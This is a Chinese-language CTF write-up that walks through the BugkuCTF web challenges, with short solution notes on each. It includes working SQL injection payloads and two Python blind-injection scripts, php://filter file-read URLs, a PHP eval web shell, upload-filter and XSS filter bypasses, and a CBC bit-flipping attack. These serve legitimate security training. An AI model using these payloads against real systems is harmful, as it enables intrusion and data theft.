BUGKUctf-web-writeup
---恢复内容开始---
找到了个ctf平台。里面的web挺多的。终于将web题目写的差不多了。
Web
签到题
加群就可以了
Web2
直接F12就看到了
文件上传测试
Burp抓包
文件名改成 1.jpg.php 即可
计算题
F12 改长度限制即可
Web3
阻止一直弹框,然后源代码
解码下就可以了
Sql注入
右键源代码,看到gb2312 易想到宽字节注入
爆出数据库:
结合题目,得flag
SQL注入1
Sql语句:$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
可以用%00绕过关键字过滤
爆出数据库:
Flag :
你必须让他停下
Burp抓包
返回的包图片不一样. Intruder 多次试试
随便构造没用的参数发送就行了
根据length 查看就行了
本地包含
源代码
eval存在命令执行漏洞,构造出文件包含
Base64解码即可
后来得知可以这么写。
积累太少。
变量1
源代码
(和“百度杯”CTF比赛(二月场)题目一致)
提示flag在变量里。正则匹配只能大小写字符和数字。 eval("var_dump($$args);");打印出变量的值。 利用超全局数组 GLOBALS 可以打印出所有变量。
Web4
右键源代码 看见了一串js代码 先URL解码
就是拼接 67d709b2b54aa2aa648cf6e87a7114f1 提交
Web5
右键源代码,将JSfuck代码扔进F12控制台
flag在index里
点下链接http://120.24.86.145:8005/post/index.php?file=show.php
发现File参数 易想到文件包含漏洞
PAYLOAD:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
Base64解码
phpcmsV9
利用注册页面的漏洞试试能不能getshell。显示操作失败。
所以只能先利用sql注入,注入出后台账号和密码。网上有很多注入exp。
花了一毛解密 a123456
在后台可以直接看到我们在注册页面上传的shell ,原来只是没回显。 菜刀连上去即可
海洋CMS
利用网上已经知道的漏洞。
根据提示,列出目录开始找。
输入密码查看flag
根据提示 用BURP爆破
前女友
点链接看到源代码
利用PHP md5()漏洞与strcmp()漏洞
成绩单
容易看出考SQL注入
爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1
爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#
Flag:-1' union select 1,skctf_flag,3,4 from fl4g#
Web3
Flag base64解码后还有base64的字符 在解码 。 是串数字。根据提示就是要把那串数字POST过去 ,要短时间内。Python脚本:
!usr/bin/env python
!coding=utf-8
author = 'zhengjim'
import requests
import base64
url ='http://120.24.86.145:8002/web6/'
r =requests.session()
headers = r.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':key}
print r.post(url=url,data=data).content
cookies欺骗??
点进来URL
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ=解码是keys.txt 所以替换成base64后的index.php。Line是行数
遍历获得源代码
得到源代码后,看出,构造cookie margin=margin 然后读keys.php即可
xss
过滤<> 用\u003cscript\u003ealert(key)\u003c/script\u003e 可绕过
never give up
发现提示1p.html 访问1p.html后发现了一串WORDS 解码。有串base64解码 。在url解码
直接访问即可(出题人应该是忘记屏蔽了-。-)
正解应该是
welcome to bugkuctf
看源代码:
txt参数的 File_get_contents() 利用php://input 来绕过 file 的include() 文件包含
读出hint.php 解码后:
在读flag.php,结果提示不给flag 于是读下index.php
发现正则匹配file 不能包含flag
看到这段代码及hint.php类有个 __toString()构造函数,可以构造password的序列化。然后反序列读出flag.php文件
login1
根据提示 就是注册一个admin a 的账号
然后就可以重置admin密码,后登入即可。
过狗一句话
看提示 猜测 indexphp 就是shell 于是直接利用
各种绕过哟
根据源代码 GET 一个unname 和POST一个 passwd 值不能相等 sha1要相等 ,提交数组。Sha1()均返回null 绕过
Web8
根据源代码
extract 可以将$_GET数组的值转为变量,默认是如果有冲突,则覆盖已有的变量。
File_get_contents() 利用php://input绕过。
字符?正则?
一步步跟着匹配即可,[:punct:]是匹配任何标点符号
考细心
看主页404,但和真正的404页面不一样,没什么发现,于是试了下robots.txt 发现了resusl.php文件。
本来以为是伪造IP,然后注入得到password,提交。然后均失败了。 试了下?x=admin 出现flag。。。
求getshell
上传题。 各种方法尝试。发现是后缀名黑名单检测和类型检测
php别名:php2, php3, php4, php5, phps, pht, phtm, phtml 均试下。
发现php5绕过
上面的Content-Type的值 大小写绕过
flag.php
点了没反应,提示:hint 多次尝试 发现GET一个hint就有源代码
审计代码,要传一个cookie名为ISecer 的反序列的值。并且反序列后的值要全相等于”$KEY”
这里要注意是有双引号。
而且$KEY的传值的此之后的。所以反序列的值不是’ISecer:www.isecer.com’。
我们要得到的值是string(0) "" 所以序列化该值即可。
Web15
给了源代码
是INSERT INTO的注入,并且不能有’,’否则会吃掉后面的语句
Payload:
11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1
Python脚本
import requests
import string
url="http://120.24.86.145:8002/web15/"
allString=string.lowercase + string.uppercase + string.digits
flag=""
for i in range(1,33):
for str1 in allString:
data="11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1".format(str(i),str1)
# print data
headers={"x-forwarded-for":data}
try:
res=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout, e:
flag += str1
print flag
break
print 'flag:' + flag
文件包含2
看见file想到文件包含,php://filter/read=convert.base64-encode/resource=hello.php
失败。
右键源代码,发现有个upload.php上传。所以上传一个带一句话木马的图片包含即可。
‘’这两个被过滤了。换个姿势上传~
<?=eval($_POST['cmd']);
成功连接
sql注入2
根据题目sql注入 试了好久好久,于是请教他人。。。结果大牛说访问下flag 就行了。巨坑!
wordpress
登入后台。根据这个构造账号密码 sun sun19980321
看到隐藏文章
经人提醒才知道,是数据库
找到http://wp.bugku.com/phpmyadmin/ 登入
Login3
过滤了空格 or and where + * union ,%0a %0b 等等
测试得出用 ^
Payload
import requests
url = 'http://47.93.190.246:49167/index.php'
r = requests.Session()
result = ''
for i in range(1,33):
for j in range(37,127):
payload = "admin1'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
print payload
data = {"username":payload,"password":"asd"}
html = r.post(url,data=data)
if "password error!" in html.content:
result += chr(j)
print result
break
print result
跑出MD5解密 登入即可
login4
看到登入框就试试有没有注入,源代码泄露。 发现.index.php.swp 存在
恢复成源码。 根据提示,知道了是利用cbc字符翻转攻击。
原理看文章:http://wooyun.jozxing.cc/static/drops/tips-7828.html
首先先post username = ‘qdmin’ password=’1’ 会得到一个iv cipher
利用CBC字节翻转攻击将qdmin 的q 改成 a 后加密得到cipher。
替换cookie[cipher]的值 访问。
反序列化失败。 原因是第一个块数据(16字节)被破坏了。因为要username要等于admin所以不能利用文章里的说的填充字符。 又因为是第一个块数据被破坏,第一个块数据是和IV有关,所以只要将在CBC字符翻转攻击,得到新的IV就可以修复第一块数据。
代入vi即可
BUGKUctf-web-writeup的更多相关文章
- ISG 2018 Web Writeup
作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...
- BugkuCTF web基础$_POST
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- BugkuCTF web基础$_GET
前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...
- [SHA2017](web) writeup
[SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...
- [WUST-CTF]Web WriteUp
周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...
- BugkuCTF~Mobile~WriteUp
最近,开始记录一篇关于 Android 逆向分析的 WriteUp 方便有需要的人学习,也欢迎大家相互交流, 发现不 一样的世界. 一. signin 考点:反编译.静态分析 Topic Link:h ...
- 南京邮电大学//bugkuCTF部分writeup
WEB 1.签到题 nctf{flag_admiaanaaaaaaaaaaa} 右键查看源代码或按f12即可. 2.这题不是web nctf{photo_can_also_hid3_msg} 下载图片 ...
- BugkuCTF WEB
web2 打开链接,一大堆表情 查看源代码 得到 flag 文件上传测试 打开链接 选择 1 个 jpg 文件进行上传,用 burp 抓包改包 将 php 改为 jpg,发包 得到 flag 计算器 ...
- BugkuCTF~Misc~WriteUp
1.签到 get flag: Qftm{You should sign in} 2.这是一张单纯的图片 查看图片十六进制 提去特殊字符串进行解码 get flag: key{you are right ...
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
随机推荐
- 数据结构与算法(c++)——跳跃表(skip list)
今天要介绍一个这样的数据结构: 单向链接 有序保存 支持添加.删除和检索操作 链表的元素查询接近线性时间 ——跳跃表 Skip List 一.普通链表 对于普通链接来说,越靠前的节点检索的时间花费越低 ...
- centos GUI界面与命令行的切换
Linux 系统任何时候都运行在一个指定的运行级上,并且不同的运行级的程序和服务都不同,所要完成的工作和所要达到的目的都不同.Centos设置了如下表所示的运行级,并且系统可以在这些运行级别之间进行切 ...
- Linux 3.2中回写机制的变革
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://alanwu.blog.51cto.com/3652632/1109952 wri ...
- [ext4]磁盘布局 - group分析
ext4文件系统的磁盘布局是先把磁盘分成一个个相同大小的block块(每个block块的大小默认是4K),然后把这些block块合成一个个group. group大小最大为256M(默认为256M), ...
- VirtualBox实现内外网络互访问的配置
作者 jrl137824675 来源地址:http://www.2cto.com/os/201205/133370.html 环境: 宿主机操作系统 Windows XP s ...
- 【lucene系列学习四】使用IKAnalyzer分词器实现敏感词和停用词过滤
Lucene自带的中文分词器SmartChineseAnalyzer不太好扩展,于是我用了IKAnalyzer来进行敏感词和停用词的过滤. 首先,下载IKAnalyzer,我下载了 然后,由于IKAn ...
- hdu1698线段树区间更新
题目链接:https://vjudge.net/contest/66989#problem/E 坑爹的线段树照着上一个线段树更新写的,结果发现有一个地方就是不对,找了半天,发现是延迟更新标记加错了!! ...
- TFS下载文件已损坏问题
近日在把一个数千人使用的TFS环境进行机房迁移时,从现有的服务器集群中整体迁移到另外一个服务器集群中,经过周密的设计迁移方案,充分验证方案中的各个关键过程,最终在几乎对数千人用户完全透明,没有任何感知 ...
- 软件开发的一些"心法"
从事软件开发也有好几年了,和一开始那个懵懵懂懂的小菜鸟相比,自己也感觉到了一些变化. 也许是熟能生巧, 趟过很多坑,但核心的绝不是这些细节的东西. 打个比方,如果说对某种语言的特性和技巧的掌握属于身法 ...
- C# 在iis windows authentication身份验证下,如何实现域用户自动登录
前言: 该博文产生的背景是有个项目在客户那部署方式为iis windows身份验证,而客户不想每次登录系统都要输入帐号和密码来登录. 因此需要得到域用户,然后进行判断该用户是否可以进入系统. 解决方法 ...